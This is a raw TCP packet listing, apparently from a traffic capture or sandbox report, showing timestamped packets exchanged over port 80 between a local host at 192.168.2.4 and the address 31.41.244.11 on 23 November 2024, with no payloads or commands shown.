Nov 23, 2024 11:22:15.900079966 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.900883913 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.900990009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.901038885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.901987076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.902117968 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.902164936 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.902859926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.902909994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.902987957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.903872967 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.903918982 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.903932095 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.903964043 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.904890060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.904920101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.904969931 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.905914068 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.905925989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.905966997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.906888008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.906927109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.906951904 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.906980991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.907907009 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.908054113 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.908102036 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.908883095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.909012079 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.909059048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.909867048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.909910917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.909957886 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.910893917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.910940886 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.911030054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.911896944 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.911947012 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.911998034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.912045002 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.912880898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.912985086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.913033962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.913875103 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.914042950 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.914089918 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.914863110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.914907932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.915071011 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.915548086 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.915857077 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.915950060 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.916012049 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.916870117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.917083979 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.917135000 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.917860985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.917901993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.917975903 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.918852091 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.918899059 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.918981075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.919888020 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.919936895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.919941902 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.919982910 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.920866966 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.920983076 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.921031952 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.921868086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.921991110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.922035933 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.922966957 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.923012972 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.923094034 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.923917055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.923963070 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.924015999 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.924437046 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.924911976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.924923897 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.924964905 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.925909996 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.926018000 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.926067114 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.926846027 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.926889896 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.926966906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.927889109 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.927942991 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.928019047 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.928437948 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.928872108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.929011106 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.929055929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.929889917 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.929979086 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.930023909 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.930871010 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.930916071 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.930989981 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.931953907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.932009935 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.932044983 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.932441950 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.932864904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.932966948 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.933012962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.933861971 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.933965921 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.934012890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.934869051 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.934916019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.934977055 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.935955048 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.936002970 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.936024904 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.936441898 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.936878920 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.937024117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.937072992 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.937896013 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.938028097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.938076019 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.938847065 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.938891888 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.938916922 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.939872980 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.939924955 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.939954042 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.940439939 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.940865040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.941000938 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.941050053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.941850901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.941950083 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.941999912 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.942863941 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.942912102 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.942945004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.943839073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.943886995 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.943967104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.944442034 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.944837093 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.944938898 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.944986105 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.945851088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.945962906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.946011066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.946860075 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.946907997 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.946938038 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.948441982 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.948529005 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.948574066 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:15.948604107 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:15.948647022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.097337008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.097348928 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.097440958 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.097898960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.097970963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.098021984 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.098324060 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.098824024 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.098870993 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.098882914 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.098923922 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.099875927 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.099924088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.100110054 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.100153923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.100253105 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.100296021 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.101125956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.101169109 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.101263046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.101305962 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.102116108 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.102161884 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.102277040 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.102319956 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.103158951 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.103240013 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.103244066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.103285074 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.104120970 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.104167938 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.104263067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.104307890 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.105137110 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.105181932 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.105252028 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.105293989 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.106154919 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.106201887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.106261015 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.106298923 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.107150078 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.107194901 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.107219934 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.107263088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.108154058 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.108175993 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.108200073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.108220100 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.109313965 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.109358072 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.109409094 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.109452963 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.110212088 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.110222101 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.110249996 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.110261917 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.111135960 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.111186981 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.111243963 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.111394882 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.112096071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.112144947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.112200975 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.112243891 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.113136053 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.113183975 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.113240004 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.113282919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.114110947 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.114156008 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.114208937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.114249945 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.115243912 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.115291119 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.115295887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.115339994 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.116169930 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.116213083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.116281033 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.116321087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.117300987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.117346048 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.117558956 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.117604971 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.118422985 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.118470907 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.118473053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.118514061 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.119223118 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.119267941 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.119291067 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.119339943 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.120120049 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.120165110 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.120222092 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.120264053 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.121203899 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.121251106 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.121373892 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.121412039 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.122267008 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.122312069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.122318983 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.122351885 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.123174906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.123219967 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.123279095 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.123330116 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.124139071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.124180079 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.124289989 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.124330044 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.125117064 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.125155926 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.125163078 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.125197887 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.126172066 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.126211882 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.126221895 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.126246929 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.127123117 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.127166033 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.127253056 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.127294064 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.128108025 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.128151894 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.128247976 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.128292084 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.129117012 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.129162073 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.129216909 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.129262924 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.130120039 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.130162954 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.130212069 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.130253077 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.131150007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.131195068 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.131285906 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.131326914 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.132177114 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.132221937 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.132224083 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.132256985 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.133110046 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.133162022 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.133229017 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.133270979 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.134113073 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.134159088 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.134294987 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.134334087 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.135109901 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.135168076 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.135274887 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.136101007 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.136159897 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.136207104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.136444092 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.137144089 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.137190104 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.137243032 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.138125896 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.138242006 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.138293028 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.139105082 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.139158010 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.139213085 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.139255047 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.140186071 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.140234947 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.140239954 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.140290976 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.141105890 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.141153097 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.141202927 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.142134905 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.142184973 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.142227888 CET	80	49765	31.41.244.11	192.168.2.4
Nov 23, 2024 11:22:16.142355919 CET	49765	80	192.168.2.4	31.41.244.11
Nov 23, 2024 11:22:16.143294096 CET	80	49765	31.41.244.11	192.168.2.4
